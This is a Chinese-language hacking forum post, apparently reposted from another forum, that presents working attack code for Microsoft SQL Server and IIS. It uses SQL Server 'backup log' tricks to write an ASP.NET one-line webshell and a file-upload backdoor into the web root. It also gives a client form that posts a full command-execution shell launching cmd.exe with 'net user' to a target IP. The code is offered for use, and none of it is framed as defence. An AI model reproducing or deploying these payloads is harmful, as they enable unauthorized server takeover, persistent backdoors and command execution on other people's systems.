在BCT 那看到的··呵呵··不错的东东。。
1.相当于ASP的一句话木马:

程序代码
alter database pubs set RECOVERY FULL--
create table pubs.dbo.cmd(a image)
backup log pubs to disk = 'c:\TM' with init
insert into pubs.dbo.cmd(a) values ('<%@ Page Language="C#" validateRequest="false" %><%System.IO.StreamWriter ow=new System.IO.StreamWriter(Server.MapPath("images.aspx"),false);ow.Write(Request.Params["l"]);ow.Close()%> ')
backup log pubs to disk = 'd:\test11.aspx'
//这个和asp的一样，客户端post一个变量l 把木马代码丢在变量l里面就ok了这个是类似asp的一句话木马。
//mu.aspx.htm 客户端:(提交后访问:http://IP/images.aspx)
<form action=http://192.168.2.100/asp/mu.aspx method=post>
<b>在下面输入大马内容:</b><br>
<textarea name=l cols=120 rows=35 width=45>
<%@ Page Language="VB" Debug="true" %>
<%@ import Namespace="system.IO" %>
<%@ import Namespace="System.Diagnostics" %>
<script runat="server">
Sub RunCmd(Src As Object, E As EventArgs)
Dim myProcess As New Process()
Dim myProcessStartInfo As New ProcessStartInfo(xpath.Text)
myProcessStartInfo.UseShellExecute = False
myProcessStartInfo.RedirectStandardOutput = true
myProcess.StartInfo = myProcessStartInfo
myProcessStartInfo.Arguments=xCmd.text
myProcess.Start()
Dim myStreamReader As StreamReader = myProcess.StandardOutput
Dim myString As String = myStreamReader.Readtoend()
myProcess.Close()
mystring=replace(mystring,"<","<")
mystring=replace(mystring,">",">")
result.text= vbcrlf & "<pre>" & mystring & "</pre>"
End Sub
</script><html><head>
<title>ASP.NET Shell for WebAdmin2.X Final</title>
<meta http-equiv="Content-Type" c /></head><body>
<form runat="server">
<asp:Label id="L_p" style="COLOR: #0000ff" runat="server" width="80px">;Program</asp:Label>
<asp:TextBox id="xpath" style="BORDER-RIGHT: #084b8e 1px solid; BORDER-TOP: #084b8e 1px solid; BORDER-LEFT: #084b8e 1px solid; BORDER-BOTTOM: #084b8e 1px solid" runat="server" Width="300px">c:\windows\system32\cmd.exe</asp:TextBox><br />
<asp:Label id="L_a" style="COLOR: #0000ff" runat="server" width="80px">Arguments</asp:Label>
<asp:TextBox id="xcmd" style="BORDER-RIGHT: #084b8e 1px solid; BORDER-TOP: #084b8e 1px solid; BORDER-LEFT: #084b8e 1px solid; BORDER-BOTTOM: #084b8e 1px solid" runat="server" Width="300px" Text="/c net user">/c net user</asp:TextBox><br />
<asp:Button id="Button" style="BORDER-RIGHT: #084b8e 1px solid; BORDER-TOP: #084b8e 1px solid; BORDER-LEFT: #084b8e 1px solid; COLOR: #ffffff; BORDER-BOTTOM: #084b8e 1px solid; BACKGROUND-COLOR: #719bc5"  runat="server" Width="100px" Text="Run"></asp:Button><p>
<asp:Label id="result" style="COLOR: #0000ff" runat="server"></asp:Label> </p></form></body></html>
</textarea><BR><center><br>
<input type=submit value=提交>

2、下面这个是我找网上的asp.net的上传文件程序，修改精简了下，也可以用：

程序代码
drop table pubs.dbo.cmd
alter database pubs set RECOVERY FULL
create table pubs.dbo.cmd(a image)
backup log pubs to disk = 'c:\TM' with init
insert into pubs.dbo.cmd(a) values ('<script language="c#" runat="server">private void bc(object o,EventArgs e) {string u="files";string filename;int pos=f.PostedFile.FileName.LastIndexOf("\\");filename=f.PostedFile.FileName.Substring(pos + 1);f.PostedFile.SaveAs(Server.MapPath(u)+"\\"+filename);}</script><form method="post" runat="server"><input type="file" id="f" runat="server"/><input type="submit" value="ss" runat="Server"  /></form>')
backup log pubs to disk = 'c:\inetpub\wwwroot\test11.aspx'
